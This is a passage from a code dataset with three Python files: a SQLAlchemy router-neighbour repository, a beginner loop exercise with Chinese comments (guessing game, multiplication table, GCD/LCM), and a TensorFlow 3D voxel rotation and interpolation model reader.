neighbour):\n return (\n session.query(Router.neighbour)\n .filter(Router.owned_by == name)\n .filter(Router.neighbour == neighbour)\n .all()\n )\n\ndef delete_routing_table_neighbour(session, name, neighbour):\n session.query(Router).\\\n filter(Router.owned_by == name).\\\n filter(Router.neighbour == neighbour).\\\n delete()\n session.commit()\n\ndef delete_neighbour(session, name, neighbour):\n session.query(Neighbours).\\\n filter(Neighbours.router_name == name).\\\n filter(Neighbours.neighbour == neighbour).\\\n delete()\n session.commit()\n\ndef insert_neighbour(session, name, neighbour):\n insert = Neighbours(\n router_name= name,\n neighbour = neighbour\n )\n session.add(insert)\n session.commit()\n\ndef find_next_router(session, name, destination):\n get = session.query(Router).\\\n filter(Router.owned_by == name).\\\n filter(Router.destination_pc_id == destination).\\\n one()\n return get.neighbour\n","sub_path":"repository.py","file_name":"repository.py","file_ext":"py","file_size_in_byte":3137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"559522430","text":"# 循环结构\n\n\n# for in 循环\n\nimport random\nsum = 0\nfor x in range(1, 101, 2): # range第三个参数表示每次递增的值\n print(x)\n sum += x\nprint(sum)\n\n# while循环\n# 猜数字游戏\n\n\nanswers = random.randint(1, 101)\ncounter = 0\n\nwhile True:\n counter += 1\n number = int(input(\"请输入一个1至100之间的数字: \"))\n if number > answers:\n print(\"大了一点 \")\n elif number < answers:\n print(\"小了一点 \")\n else:\n print(\"你猜对了\")\n break # 可以提前终止循环,但是只能终止当前循环;还有一个循环是continue\nprint(\"你一共猜了%d次\" % counter)\nif counter > 7:\n print(\"你的智商不在线呀,继续加油\")\n\n\n# 输入九九乘法表\n\nfor i in range(1, 10):\n for j in range(1, i + 1):\n print('%d * %d = %d' % (i, j, i * j), end='\\t')\n print()\n\n\n# 计算两个数的最小公倍数和最大公因数\n\nx = int(input(\"请输入第一个整数: \"))\ny = int(input(\"请输入第二个个整数: \"))\n\nif x > y:\n x, y = y, x\nfor factor in range(x, 0, -1):\n if x % factor == 0 and y % factor == 0:\n print('%d和%d之间的最大公因数是%d' % (x, y, factor))\n print('%d和%d之间的最小公倍数是%d' % (x, y, x * y // factor))\n break\n","sub_path":"week3/monday.py","file_name":"monday.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"228604116","text":"import numpy as np\nimport random\nimport tensorflow as tf\nimport math\nfrom libs.activations import lrelu\nimport tflearn\nfrom sklearn.manifold import TSNE\nfrom tsne import bh_sne\nimport tensorflow.contrib.slim as slim\nfrom tensorflow.contrib.layers import batch_norm\nimport scipy\nimport scipy.io as sio\nimport time\nimport os\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n# % matplotlib inline\n# To use, start by QT_API=pyqt ETS_TOOLKIT=qt4 jupyter notebook --no-browser --port=8889\nimport mayavi.mlab as mlab\nmlab.options.offscreen = True\nfrom imayavi import *\nfrom tvtk.tools import visual\nfrom PIL import Image\nfrom tensorflow.python.framework import ops\nimport warnings\n\ndef read_and_decode_single_example_x0(filename, FLAGS):\n\tfilename_queue = tf.train.string_input_producer([filename])\n\toptions = tf.python_io.TFRecordOptions(tf.python_io.TFRecordCompressionType.ZLIB)\n\treader = tf.TFRecordReader(options = options)\n\t_, serialized_example = reader.read(filename_queue)\n\tfeatures = tf.parse_single_example(\n\t\tserialized_example,\n\t\tfeatures={\n\t\t\t'x3d_0': tf.FixedLenFeature([27000], tf.int64),\n\t\t\t'id': tf.FixedLenFeature([1], tf.int64)\n\t\t})\n\tx3d_0 = features['x3d_0']\n\tidx = features['id']\n\treturn (x3d_0, idx)\n\ndef read_and_decode_single_example_x(filename, FLAGS):\n\t# first construct a queue containing a list of filenames.\n\t# this lets a user split up there dataset in multiple files to keep\n\t# size down\n\tfilename_queue = tf.train.string_input_producer([filename])\n\t# Unlike the TFRecordWriter, the TFRecordReader is symbolic\n\toptions = tf.python_io.TFRecordOptions(tf.python_io.TFRecordCompressionType.ZLIB)\n\treader = tf.TFRecordReader(options = options)\n\t# One can read a single serialized example from a filename\n\t# serialized_example is a Tensor of type string..\n\t_, serialized_example = reader.read(filename_queue)\n\t# The serialized example is converted back to actual values.\n\t# One needs to describe the format of the objects to be returned\n\tfeatures = tf.parse_single_example(\n\t\tserialized_example,\n\t\tfeatures={\n\t\t\t# We know the length of both fields. If not the\n\t\t\t# tf.VarLenFeature could be used\n\t\t\t'x3d': tf.FixedLenFeature([27000], tf.int64),\n\t\t\t'x3d_0': tf.FixedLenFeature([27000], tf.int64),\n\t\t\t'x2d_gnd': tf.FixedLenFeature([900], tf.int64),\n\t\t\t'x2d_rgb': tf.FixedLenFeature([154587], tf.string),\n\t\t\t'view': tf.FixedLenFeature([3], tf.float32), # [az, el, yaw]\n\t\t\t'y3d': tf.FixedLenFeature([1], tf.float32), # twist this time\n\t\t\t'axisangle': tf.FixedLenFeature([4], tf.float32), # [angle, axis]\n\t\t\t'id': tf.FixedLenFeature([1], tf.int64)\n\t\t})\n\t# features = tf.parse_single_example(\n\t# \tserialized_example,\n\t# \tdense_keys=['x3d', 'x3d', 'x2d_gnd', 'x2d_rgb', 'y3d'],\n\t# \tdense_types=[tf.int64, tf.int64, tf.int64, tf.string, tf.float32])\n\t# now return the converted data\n\tx3d = features['x3d']\n\tx3d_0 = features['x3d_0']\n\tx2d_gnd = features['x2d_gnd']\n\tx2d_rgb = tf.decode_raw(features['x2d_rgb'], tf.uint8)\n\tx2d_rgb = tf.reshape(x2d_rgb, [227, 227, 3])\n\tx2d_rgb.set_shape([227, 227, 3])\n\ty3d = features['y3d']\n\tview = features['view']\n\tangleaxis = features['axisangle']\n\tidx = features['id']\n\treturn (x3d, x3d_0, x2d_gnd, x2d_rgb, view, y3d, angleaxis, idx)\n\nclass ModelReader_Rotator_tw(object):\n\tdef __init__(self, flags):\n\t\t## All variables ##\n\t\tglobal FLAGS\n\t\tFLAGS = flags\n\t\t# print '==== FLAGS', FLAGS\n\t\tself.out_size = (30, 30, 30)\n\t\tself.is_training = tf.placeholder(dtype=bool,shape=[],name='is_training')\n\n\t\tself.batch_size_x0 = FLAGS.models_in_batch # models used in a batch\n\t\tx03d_gnd, idx = read_and_decode_single_example_x0(FLAGS.data_train_net0, FLAGS)\n\t\tself.x0_batch_flat, self.x0_batch_idx = tf.train.shuffle_batch(\n\t\t\t[x03d_gnd, idx], batch_size=self.batch_size_x0,\n\t\t\tnum_threads=2,\n\t\t\tcapacity=1500 + 2 * self.batch_size_x0,\n\t\t\tmin_after_dequeue=1000,\n\t\t\tallow_smaller_final_batch=True)\n\t\t\n\t\tx03d_gnd_test, idx_test = read_and_decode_single_example_x0(FLAGS.data_test_net0, FLAGS)\n\t\tself.x0_batch_flat_test, self.x0_batch_test_idx = tf.train.shuffle_batch(\n\t\t\t[x03d_gnd_test, idx_test], batch_size=self.batch_size_x0,\n\t\t\tnum_threads=2,\n\t\t\tcapacity=500 + 2 * self.batch_size_x0,\n\t\t\tmin_after_dequeue=500,\n\t\t\tallow_smaller_final_batch=True)\n\t\tself.x0_batch = tf.cond(self.is_training, \\\n\t\t\tlambda: tf.to_float(tf.reshape(self.x0_batch_flat, [-1, 30, 30, 30, 1])), # models_in_batch\n\t\t\tlambda: tf.to_float(tf.reshape(self.x0_batch_flat_test, [-1, 30, 30, 30, 1])))\n\t\tself.x0_batch_idx = tf.cond(self.is_training, \\\n\t\t\tlambda: tf.reshape(self.x0_batch_idx, [-1, 1]), # models_in_batch\n\t\t\tlambda: tf.reshape(self.x0_batch_test_idx, [-1, 1]))\n\n\t\tself.batch_size_x = FLAGS.batch_size # models used in a batch\n\t\tx3d, x3d_0, x2d_gnd, x2d_rgb, view, _, angleaxis, idx = read_and_decode_single_example_x(FLAGS.data_train_net1, FLAGS)\n\t\tself.x_batch_flat, self.x_gnd_batch_flat, self.x2d_gnd_batch_flat, self.x2d_rgb_batch_flat, \\\n\t\tself.view_batch_flat, self.angleaxis_batch_flat, self.x_batch_idx = tf.train.shuffle_batch(\n\t\t\t[x3d, x3d_0, x2d_gnd, x2d_rgb, view, angleaxis, idx], batch_size=self.batch_size_x,\n\t\t\tnum_threads=5,\n\t\t\tcapacity=10000 + 5 * self.batch_size_x,\n\t\t\tmin_after_dequeue=5000, \n\t\t\tallow_smaller_final_batch=False)\n\t\tx3d_test, x3d_0_test, x2d_gnd_test, x2d_rgb_test, view_test, _, angleaxis_test, idx_test = read_and_decode_single_example_x(FLAGS.data_test_net1, FLAGS)\n\t\tself.x_batch_flat_test, self.x_gnd_batch_flat_test, self.x2d_gnd_batch_flat_test, self.x2d_rgb_batch_flat_test, \\\n\t\tself.view_batch_flat_test, self.angleaxis_batch_flat_test, self.x_batch_test_idx = tf.train.shuffle_batch(\n\t\t\t[x3d_test, x3d_0_test, x2d_gnd_test, x2d_rgb_test, view_test, angleaxis_test, idx_test], batch_size=self.batch_size_x,\n\t\t\tnum_threads=5,\n\t\t\tcapacity=3000 + 5 * self.batch_size_x,\n\t\t\tmin_after_dequeue=3000,\n\t\t\tallow_smaller_final_batch=False)\n\t\tself.x_batch = tf.cond(self.is_training, \\\n\t\t\tlambda: tf.to_float(tf.reshape(self.x_batch_flat, [-1, 30, 30, 30, 1])),\n\t\t\tlambda: tf.to_float(tf.reshape(self.x_batch_flat_test, [-1, 30, 30, 30, 1])))\n\t\tself.x_gnd_batch = tf.cond(self.is_training, \\\n\t\t\tlambda: tf.to_float(tf.reshape(self.x_gnd_batch_flat, [-1, 30, 30, 30, 1])),\n\t\t\tlambda: tf.to_float(tf.reshape(self.x_gnd_batch_flat_test, [-1, 30, 30, 30, 1])))\n\t\tself.x2d_gnd_batch = tf.cond(self.is_training, \\\n\t\t\tlambda: tf.to_float(tf.reshape(self.x2d_gnd_batch_flat, [-1, 30, 30])),\n\t\t\tlambda: tf.to_float(tf.reshape(self.x2d_gnd_batch_flat_test, [-1, 30, 30])))\n\t\tself.x2d_rgb_batch = tf.cond(self.is_training, \\\n\t\t\tlambda: tf.to_float(tf.reshape(self.x2d_rgb_batch_flat, [-1, 227, 227, 3])),\n\t\t\tlambda: tf.to_float(tf.reshape(self.x2d_rgb_batch_flat_test, [-1, 227, 227, 3])))\n\t\t## REMBER TO SUB MEAN!\n\t\tself.view_batch = tf.cond(self.is_training, \\\n\t\t\tlambda: tf.to_float(tf.reshape(self.view_batch_flat, [-1, 3])),\n\t\t\tlambda: tf.to_float(tf.reshape(self.view_batch_flat_test, [-1, 3])))\n\t\tself.angleaxis_batch = tf.cond(self.is_training, \\\n\t\t\tlambda: tf.to_float(tf.reshape(self.angleaxis_batch_flat, [-1, 4])),\n\t\t\tlambda: tf.to_float(tf.reshape(self.angleaxis_batch_flat_test, [-1, 4])))\n\t\tself.y_batch = tf.mul(tf.slice(self.angleaxis_batch, [0, 0], [-1, 1]), tf.slice(self.angleaxis_batch, [0, 1], [-1, 3]))\n\t\tself.x_batch_idx = tf.cond(self.is_training, \\\n\t\t\tlambda: tf.reshape(self.x_batch_idx, [-1, 1]), # models_in_batch\n\t\t\tlambda: tf.reshape(self.x_batch_test_idx, [-1, 1]))\n\t\t# self.az_el_batch = tf.slice(self.view_batch, [0, 0], [-1, 2])\n\t\tself.R_s_flat = self._az_el_yaw_s_degree_to_Rs_flat(self.view_batch)\n\t\t# self.R_s_flat = self._tws_to_Rs_flat(self.y_batch)\n\n\t\t# if FLAGS.if_indeptP == False:\n\t\t# \tself.p_s = self._az_el_s_degree_to_p_s(self.az_el_batch)\n\t\t# else:\n\t\t# \tself.p_s = self._az_el_s_degree_to_p_s_indept(self.az_el_batch)\n\t\tself.p_s = self.y_batch\n\n\t\t# self.dyn_channels = tf.shape(self.x0_batch)[-1]\n\t\tself.dyn_batch_size = FLAGS.batch_size\n\n\t\t# grid\n\t\tself.out_height = self.out_size[0]\n\t\tself.out_width = self.out_size[1]\n\t\tself.out_depth = self.out_size[2]\n\t\tgrid = self._meshgrid(self.out_height, self.out_width, self.out_depth) #(4, height*width*depth)\n\t\tgrid = tf.expand_dims(grid, 0) #(1, 4, height*width*depth)\n\t\tgrid = tf.reshape(grid, [-1]) #(4*height*width*depth,)\n\t\tgrid = tf.tile(grid, tf.pack([self.dyn_batch_size])) #(4*height*width*depth*num_batch,)\n\t\tgrid = tf.reshape(grid, tf.pack([self.dyn_batch_size, 4, -1])) #(num_batch, 4, height*width*depth)\n\t\tself.grid = tf.cast(grid, 'float32')\n\n\t\t## Batch dup and rotation\n\t\t# self.idx_s = tf.placeholder(tf.int32, [None, 1])\n\t\t# self.Rs_flat_batch_gather_feed = tf.placeholder(tf.float32, [None, 16])\n\t\t# self.x0_batch_gather = tf.squeeze(tf.gather(self.x0_batch, self.idx_s), [1])\n\t\t# self.x0_batch_gather_trans = tf.clip_by_value(self._transform(self.x0_batch_gather, self.Rs_flat_batch_gather_feed, self.out_size), 0., 1.)\n\n\t# def _single_az_el_to_rotate_matrix_R_flat(self, az_el):\n\t# \tdef _axisAngle2Mat(axis, angle):\n\t# \t\tc = tf.reshape(tf.cos(angle), [])\n\t# \t\ts = tf.reshape(tf.sin(angle), [])\n\t# \t\tt = 1. - c\n\t# \t\t# axis = tf.contrib.layers.unit_norm(axis, dim=0)\n\t# \t\tx = tf.reshape(tf.gather(axis, [0]), [])\n\t# \t\ty = tf.reshape(tf.gather(axis, [1]), [])\n\t# \t\tz = tf.reshape(tf.gather(axis, [2]), [])\n\t# \t\t# print '============== tf.concat(1, [t*x*x+c, t*x*y-z*s, t*x*z+y*s]).get_shape().as_list()', tf.concat(1, [t*x*x+c, t*x*y-z*s, t*x*z+y*s]).get_shape().as_list()\n\t# \t\treturn tf.pack([[t*x*x+c, t*x*y-z*s, t*x*z+y*s], \\\n\t# \t\t\t[t*x*y+z*s, t*y*y+c, t*y*z-x*s], \\\n\t# \t\t\t[t*x*z-y*s, t*y*z+x*s, t*z*z+c]])\n\t# \taz_rad = tf.gather(az_el, [0])\n\t# \tel_rad = tf.gather(az_el, [1])\n\t# \tx_axis = tf.constant([[0.], [1.], [0.]])\n\t# \t# tw1 = tf.mul(x_axis, az_rad)\n\t# \t# R1 = tf.cast(self._single_expm(self._single_hat(tw1)), tf.float32)\n\t# \tR1 = _axisAngle2Mat(x_axis, az_rad)\n\t# \t# print '============== R1.get_shape().as_list()', x_axis.get_shape().as_list(), az_rad.get_shape().as_list(), R1.get_shape().as_list()\n\t# \tnew_x_axis = tf.matmul(R1, tf.constant([[-1.], [0.], [0.]]))\n\t# \t# tw2 = tf.mul(new_x_azis, el_rad)\n\t# \t# R2 = tf.cast(self._single_expm(self._single_hat(tw2)), tf.float32)\n\t# \tR2 = _axisAngle2Mat(new_x_axis, el_rad)\n\t# \tR = tf.matmul(R2, R1)\n\t# \tR_flat = self._single_R_to_homo_flat(R)\n\t# \t# print '============== R.get_shape().as_list()', R.get_shape().as_list(), R_flat.get_shape().as_list()\n\t# \treturn R_flat\n\n\t# Define custom py_func which takes also a grad op as argument:\n\tdef _py_func(self, func, inp, Tout, stateful=True, name=None, grad=None):\n\t\t# Need to generate a unique name to avoid duplicates:\n\t\trnd_name = 'custom_expm_grad' + str(np.random.randint(0, 1E+8))\n\t\ttf.RegisterGradient(rnd_name)(grad) # see _MySquareGrad for grad example\n\t\tg = tf.get_default_graph()\n\t\twith g.gradient_override_map({\"PyFunc\": rnd_name}):\n\t\t\treturn tf.py_func(func, inp, Tout, stateful=stateful, name=name)\n\t\t\n\tdef _custom_expm_impl(self, x):\n\t\treturn scipy.linalg.expm(x)\n\n\t# Def custom square function using np.square instead of tf.square:\n\tdef _myExpm(self, x, name=None):\n\t\twith ops.op_scope([x], name, \"MyExpm\") as name:\n\t\t\texpm_x = self._py_func(self._custom_expm_impl,\n\t\t\t\t\t\t\t[x],\n\t\t\t\t\t\t\t[tf.float32],\n\t\t\t\t\t\t\tname=name,\n\t\t\t\t\t\t\tgrad=self._custom_expm_grad) # <-- here's the call to the gradient\n\t\t\treturn expm_x[0]\n\n\tdef _custom_expm_grad_impl(self, A, gA):\n\t\tw, V = scipy.linalg.eig(A, right=True)\n\t\tU = scipy.linalg.inv(V).T\n\t\texp_w = np.exp(w)\n\t\tX = np.subtract.outer(exp_w, exp_w) / np.subtract.outer(w, w)\n\t\tnp.fill_diagonal(X, exp_w)\n\t\tY = U.dot(V.T.dot(gA).dot(U) * X).dot(V.T)\n\t\twith warnings.catch_warnings():\n\t\t\twarnings.simplefilter(\"ignore\", np.ComplexWarning)\n\t\t\treturn Y.astype(A.dtype)\n\n\t# Actual gradient:\n\tdef _custom_expm_grad(self, op, gA):\n\t\tA = op.inputs[0]\n\t\treturn tf.py_func(self._custom_expm_grad_impl,[A, gA],[tf.float32])\n\n\tdef _single_tw_to_rotate_matrix_R_flat(self, tw):\n\t\tdef hat(tw):\n\t\t\ttw1 = tf.reshape(tf.slice(tw, [0], [1]), [])\n\t\t\ttw2 = tf.reshape(tf.slice(tw, [1], [1]), [])\n\t\t\ttw3 = tf.reshape(tf.slice(tw, [2], [1]), [])\n\t\t\that = tf.pack([[0., -tw3, tw2], \\\n\t\t\t\t[tw3, 0., -tw1], \\\n\t\t\t\t[-tw2, tw1, 0.]])\n\t\t\treturn hat\n\t\treturn self._single_R_to_homo_flat(tf.cast(self._myExpm(hat(tw)), tf.float32))\n\n\tdef _single_az_el_yaw_to_rotate_matrix_R_flat(self, az_el_yaw):\n\t\tdef _axisAngle2Mat(axis, angle):\n\t\t\tc = tf.reshape(tf.cos(angle), [])\n\t\t\ts = tf.reshape(tf.sin(angle), [])\n\t\t\tt = 1. - c\n\t\t\t# axis = tf.contrib.layers.unit_norm(axis, dim=0)\n\t\t\tx = tf.reshape(tf.gather(axis, [0]), [])\n\t\t\ty = tf.reshape(tf.gather(axis, [1]), [])\n\t\t\tz = tf.reshape(tf.gather(axis, [2]), [])\n\t\t\t# print '============== tf.concat(1, [t*x*x+c, t*x*y-z*s, t*x*z+y*s]).get_shape().as_list()', tf.concat(1, [t*x*x+c, t*x*y-z*s, t*x*z+y*s]).get_shape().as_list()\n\t\t\treturn tf.pack([[t*x*x+c, t*x*y-z*s, t*x*z+y*s], \\\n\t\t\t\t[t*x*y+z*s, t*y*y+c, t*y*z-x*s], \\\n\t\t\t\t[t*x*z-y*s, t*y*z+x*s, t*z*z+c]])\n\t\taz_rad = tf.gather(az_el_yaw, [0])\n\t\t# az_rad = tf.zeros_like(az_rad) + 90. / 180. * np.pi\n\t\tel_rad = tf.gather(az_el_yaw, [1])\n\t\tyaw_rad = tf.gather(az_el_yaw, [2])\n\t\t# el_rad = tf.zeros_like(el_rad) \n\t\tx_axis = tf.constant([[0.], [1.], [0.]])\n\t\t# tw1 = tf.mul(x_axis, az_rad)\n\t\t# R1 = tf.cast(self._single_expm(self._single_hat(tw1)), tf.float32)\n\t\tR1 = _axisAngle2Mat(x_axis, az_rad)\n\t\t# print '============== R1.get_shape().as_list()', x_axis.get_shape().as_list(), az_rad.get_shape().as_list(), R1.get_shape().as_list()\n\t\tnew_x_axis = tf.matmul(R1, tf.constant([[-1.], [0.], [0.]]))\n\t\t# tw2 = tf.mul(new_x_azis, el_rad)\n\t\t# R2 = tf.cast(self._single_expm(self._single_hat(tw2)), tf.float32)\n\t\tR2 = _axisAngle2Mat(new_x_axis, el_rad)\n\t\tnew_x_axis3 = tf.matmul(tf.matmul(R2, R1), tf.constant([[0.], [0.], [-1.]]))\n\t\tR3 = _axisAngle2Mat(new_x_axis3, -yaw_rad)\n\t\tR = tf.matmul(R3, tf.matmul(R2, R1))\n\t\tR_flat = self._single_R_to_homo_flat(R)\n\t\t# print '============== R.get_shape().as_list()', R.get_shape().as_list(), R_flat.get_shape().as_list()\n\t\treturn R_flat\n\n\t# def _p_s_to_az_el(self, p_s):\n\t# \tp_s0, p_s1, p_s2 = tf.split(1, 3, p_s)\n\t# \tsin_el = p_s2\n\t# \tel = tf.asin(sin_el)\n\t# \tdef atan2(y, x):\n\t# \t\tangle = tf.zeros_like(x)\n\t# \t\tangle = tf.select(tf.logical_and(tf.greater(x,0.0), tf.greater_equal(y,0.0)), tf.atan(y/x), angle)\n\t# \t\tangle = tf.select(tf.logical_and(tf.greater(x,0.0), tf.less_equal(y,0.0)), tf.atan(y/x) + np.pi*2, angle)\n\t# \t\tangle = tf.select(tf.logical_and(tf.less(x,0.0), tf.greater_equal(y,0.0)), tf.atan(y/x) + np.pi, angle)\n\t# \t\tangle = tf.select(tf.logical_and(tf.less(x,0.0), tf.less_equal(y,0.0)), tf.atan(y/x) + np.pi, angle)\n\t# \t\tangle = tf.select(tf.logical_and(tf.equal(x,0.0), tf.greater(y,0.0)), 0.5*np.pi * tf.ones_like(x), angle)\n\t# \t\tangle = tf.select(tf.logical_and(tf.equal(x,0.0), tf.less(y,0.0)), 1.5*np.pi * tf.ones_like(x), angle)\n\t# \t\tangle = tf.select(tf.logical_and(tf.equal(x,0.0), tf.equal(y,0.0)), np.nan * tf.zeros_like(x), angle)\n\t# \t\treturn angle\n\t# \tif FLAGS.if_indeptP == False:\n\t# \t\taz = atan2(tf.div(p_s0, tf.cos(el)), tf.div(p_s1, tf.cos(el)))\n\t# \telse:\n\t# \t\taz = atan2(p_s1, p_s0)\n\t# \treturn tf.concat(1, [tf.reshape(az, [-1, 1]), tf.reshape(el, [-1, 1])])\n\n\tdef _single_R_to_homo_flat(self, R):\n\t\tR_cat = tf.concat(1, [R, tf.cast(tf.zeros([3, 1]), tf.float32)])\n\t\tR_cat = tf.concat(0, [R_cat, tf.constant([0., 0., 0., 1.], shape=[1, 4], dtype=tf.float32)])\n\t\tR_flat = tf.reshape(R_cat, [1, -1]) #(16,)\n\t\treturn R_flat\n\n\t# def _p_s_to_Rs_flat(self, p_s):\n\t# \taz_el_s = self._p_s_to_az_el(p_s)\n\t# \treturn tf.reshape(tf.map_fn(lambda x: self._single_az_el_to_rotate_matrix_R_flat(x), az_el_s), [-1, 16]), az_el_s\n\n\tdef _az_el_yaw_s_degree_to_Rs_flat(self, az_el_s_degree):\n\t\taz_el_s = az_el_s_degree * np.pi / 180.\n\t\treturn tf.reshape(tf.map_fn(lambda x: self._single_az_el_yaw_to_rotate_matrix_R_flat(x), az_el_s), [-1, 16])\n\n\tdef _tws_to_Rs_flat(self, tws):\n\t\treturn tf.reshape(tf.map_fn(lambda x: self._single_tw_to_rotate_matrix_R_flat(x), tws), [-1, 16])\n\n\t# def _az_el_s_degree_to_p_s(self, az_el_s_degree):\n\t# \taz_el_s = az_el_s_degree * np.pi / 180.\n\t# \taz_col = tf.slice(az_el_s, [0, 0], [-1, 1])\n\t# \tel_col = tf.slice(az_el_s, [0, 1], [-1, 1])\n\t# \tsin_az = tf.sin(az_col)\n\t# \tcos_az = tf.cos(az_col)\n\t# \tsin_el = tf.sin(el_col)\n\t# \tcos_el = tf.cos(el_col)\n\t# \treturn tf.concat(1, [tf.mul(cos_el, sin_az), tf.mul(cos_el, cos_az), sin_el])\n\n\t# def _az_el_s_degree_to_p_s_indept(self, az_el_s_degree):\n\t# \taz_el_s = az_el_s_degree * np.pi / 180.\n\t# \taz_col = tf.slice(az_el_s, [0, 0], [-1, 1])\n\t# \tel_col = tf.slice(az_el_s, [0, 1], [-1, 1])\n\t# \tsin_az = tf.sin(az_col)\n\t# \tcos_az = tf.cos(az_col)\n\t# \tsin_el = tf.sin(el_col)\n\t# \tcos_el = tf.cos(el_col)\n\t# \treturn tf.concat(1, [cos_az, sin_az, sin_el])\n\n\tdef _interpolate(self, im, x, y, z, out_size):\n\t\t# im: tensor of inputs [num_batch, height, width, depth, num_channels=1]\n\t\t# x, y, z: coords of new grid [num_batch, height,width, depth,]\n\t\t# out_size : int; the size of the output [out_height, out_width, out_depth]\n\t\t# constants\n\t\t# num_batch = tf.shape(im)[0]\n\t\theight = tf.shape(im)[1]\n\t\twidth = tf.shape(im)[2]\n\t\tdepth = tf.shape(im)[3]\n\t\tchannels = tf.shape(im)[4]\n\n\t\tx = tf.cast(x, 'float32')\n\t\ty = tf.cast(y, 'float32')\n\t\tz = tf.cast(z, 'float32')\n\t\theight_f = tf.cast(height, 'float32')\n\t\twidth_f = tf.cast(width, 'float32')\n\t\tdepth_f = tf.cast(depth, 'float32')\n\t\tout_height = out_size[0]\n\t\tout_width = out_size[1]\n\t\tout_depth = out_size[2]\n\t\tzero = tf.zeros([], dtype='int32')\n\t\tmax_z = tf.cast(tf.shape(im)[1] - 1, 'int32') # TODO: the axis\n\t\tmax_y = tf.cast(tf.shape(im)[2] - 1, 'int32')\n\t\tmax_x = tf.cast(tf.shape(im)[3] - 1, 'int32')\n\n\t\t# scale indices from [-1, 1] to [0, width/height]\n\t\tx = (x + 1.0)*(width_f-1.) / 2.0 # dim 1: x, width\n\t\ty = (y + 1.0)*(height_f-1.) / 2.0 # dim 0: y height\n\t\tz = (z + 1.0)*(depth_f-1.) / 2.0 # dim 2: z:depth\n\n\t\t# do sampling\n\t\tx0 = tf.cast(tf.floor(x), 'int32')\n\t\tx1 = x0 + 1\n\t\ty0 = tf.cast(tf.floor(y), 'int32')\n\t\ty1 = y0 + 1\n\t\tz0 = tf.cast(tf.floor(z), 'int32')\n\t\tz1 = z0 + 1\n\n\t\tImIdx = tf.tile(tf.reshape(tf.range(self.dyn_batch_size), [-1, 1, 1, 1]), [1, width, height, depth]) # [batchSize, W, H, D]\n\t\tImVecBatch = tf.reshape(im, [-1, channels]) # [batchSize*W*H*D, C]\n\t\tImVecBatchOutside = tf.concat(0, [ImVecBatch, tf.zeros([1, channels])]) # [batchSize*H*W+1, C]\n\n\t\ty0x0z0 = ((ImIdx * height + y0) * width + x0) * depth + z0 # [batchSize, W, H, D]\n\t\ty0x0z1 = ((ImIdx * height + y0) * width + x0) * depth + z1 # [batchSize, W, H, D]\n\t\ty0x1z0 = ((ImIdx * height + y0) * width + x1) * depth + z0 # [batchSize, W, H, D]\n\t\ty0x1z1 = ((ImIdx * height + y0) * width + x1) * depth + z1 # [batchSize, W, H, D]\n\t\ty1x0z0 = ((ImIdx * height + y1) * width + x0) * depth + z0 # [batchSize, W, H, D]\n\t\ty1x0z1 = ((ImIdx * height + y1) * width + x0) * depth + z1 # [batchSize, W, H, D]\n\t\ty1x1z0 = ((ImIdx * height + y1) * width + x1) * depth + z0 # [batchSize, W, H, D]\n\t\ty1x1z1 = ((ImIdx * height + y1) * width + x1) * depth + z1 # [batchSize, W, H, D]\n\n\t\tyxz_out = tf.fill([self.dyn_batch_size, width, height, depth], self.dyn_batch_size * height * width * depth)\n\n\t\tdef insideIm(Yint, Xint, Zint):\n\t\t\treturn (Xint>=0)&(Xint<width)&(Yint>=0)&(Yint<height)&(Zint>=0)&(Zint<depth)\n\t\ty0x0z0 = tf.select(insideIm(y0, x0, z0), y0x0z0, yxz_out)\n\t\ty0x0z1 = tf.select(insideIm(y0, x0, z1), y0x0z1, yxz_out)\n\t\ty0x1z0 = tf.select(insideIm(y0, x1, z0), y0x1z0, yxz_out)\n\t\ty0x1z1 = tf.select(insideIm(y0, x1, z1), y0x1z1, yxz_out)\n\t\ty1x0z0 = tf.select(insideIm(y1, x0, z0), y1x0z0, yxz_out)\n\t\ty1x0z1 = tf.select(insideIm(y1, x0, z1), y1x0z1, yxz_out)\n\t\ty1x1z0 = tf.select(insideIm(y1, x1, z0), y1x1z0, yxz_out)\n\t\ty1x1z1 = tf.select(insideIm(y1, x1, z1), y1x1z1, yxz_out)\n\n\t\tI1 = tf.to_float(tf.gather(ImVecBatchOutside, y0x0z0))\n\t\tI2 = tf.to_float(tf.gather(ImVecBatchOutside, y0x0z1))\n\t\tI3 = tf.to_float(tf.gather(ImVecBatchOutside, y0x1z0))\n\t\tI4 = tf.to_float(tf.gather(ImVecBatchOutside, y0x1z1))\n\t\tI5 = tf.to_float(tf.gather(ImVecBatchOutside, y1x0z0))\n\t\tI6 = tf.to_float(tf.gather(ImVecBatchOutside, y1x0z1))\n\t\tI7 = tf.to_float(tf.gather(ImVecBatchOutside, y1x1z0))\n\t\tI8 = tf.to_float(tf.gather(ImVecBatchOutside, y1x1z1))\n\n\t\t# and finally calculate interpolated values\n\t\tx0_f = tf.cast(x0, 'float32')\n\t\tx1_f = tf.cast(x1, 'float32')\n\t\ty0_f = tf.cast(y0, 'float32')\n\t\ty1_f = tf.cast(y1, 'float32')\n\t\tz0_f = tf.cast(z0, 'float32')\n\t\tz1_f = tf.cast(z1, 'float32')\n\t\tw1 = tf.expand_dims((x1_f-x) * (y1_f-y) * (z1_f-z), -1)\n\t\tw2 = tf.expand_dims((x1_f-x) * (y1_f-y) * (z-z0_f), -1)\n\t\tw3 = tf.expand_dims((x-x0_f) * (y1_f-y) * (z1_f-z), -1)\n\t\tw4 = tf.expand_dims((x-x0_f) * (y1_f-y) * (z-z0_f), -1)\n\t\tw5 = tf.expand_dims((x1_f-x) * (y-y0_f) * (z1_f-z), -1)\n\t\tw6 = tf.expand_dims((x1_f-x) * (y-y0_f) * (z-z0_f), -1)\n\t\tw7 = tf.expand_dims((x-x0_f) * (y-y0_f) * (z1_f-z), -1)\n\t\tw8 = tf.expand_dims((x-x0_f) * (y-y0_f) * (z-z0_f), -1)\n\n\t\toutput = tf.add_n([w1*I1, w2*I2, w3*I3, w4*I4, w5*I5, w6*I6, w7*I7, w8*I8])\n\t\t# output = I8 - I1\n\t\treturn output\n\n\tdef _meshgrid(self, height, width, depth):\n\t\tx_t, y_t, z_t = np.meshgrid(np.linspace(-1, 1, width),\n\t\t\t\t\t\t\t np.linspace(-1, 1, height),\n\t\t\t\t\t\t\t np.linspace(-1, 1, depth))\n\t\tones = np.ones(np.prod(x_t.shape))\n\t\tgrid = 